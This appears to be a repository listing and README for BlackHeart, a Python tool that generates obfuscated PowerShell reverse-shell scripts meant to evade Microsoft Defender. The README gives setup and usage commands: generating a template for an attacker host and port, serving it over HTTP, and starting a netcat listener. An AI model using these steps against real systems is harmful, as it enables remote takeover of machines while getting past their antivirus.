https://github.com/cyb3rmx/blackheart
BlackHeart is a simple python script to generate powershell scripts that demonstrate reverse shell gaining without Microsoft Defender restrictions. (FOR EDUCATIONAL PURPOSES!!)
https://github.com/cyb3rmx/blackheart
defender-bypass redteam-tools redteaming reverse-shell
Last synced: 3 months ago
JSON representation
BlackHeart is a simple python script to generate powershell scripts that demonstrate reverse shell gaining without Microsoft Defender restrictions. (FOR EDUCATIONAL PURPOSES!!)
- Host: GitHub
- URL: https://github.com/cyb3rmx/blackheart
- Owner: CYB3RMX
- License: mit
- Created: 2022-08-29T10:04:09.000Z (about 3 years ago)
- Default Branch: main
- Last Pushed: 2024-04-09T16:51:08.000Z (over 1 year ago)
- Last Synced: 2024-04-09T20:10:56.488Z (over 1 year ago)
- Topics: defender-bypass, redteam-tools, redteaming, reverse-shell
- Language: Python
- Homepage:
- Size: 5.77 MB
- Stars: 28
- Watchers: 2
- Forks: 11
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# BlackHeart
![]()
BlackHeart is a simple python script to generate powershell scripts that demonstrate reverse shell gaining without Microsoft Defender restrictions. (FOR EDUCATIONAL PURPOSES!!)
# Updates
04/09/2022- [X] Added basic obfuscation to reverse shell file.
- [X] Bug fixes.# Setup
You can use simply the following command
```bash
pip3 install -r requirements.txt
```# Usage
- First of all you have to generate a template for your shell.
```bash
python3 blackheart.py --lhost YOUR_IP --lport YOUR_PORT
```- Then you have to open a simple http server to serve your template.
```bash
python3 -m http.server
```- And you need to open a listener port to listen incoming connections.
```bash
nc -lvp 4545
```# PoC
https://user-images.githubusercontent.com/42123683/188307621-dba04ee0-5cb3-4c72-94dd-d1ee95661a50.mp4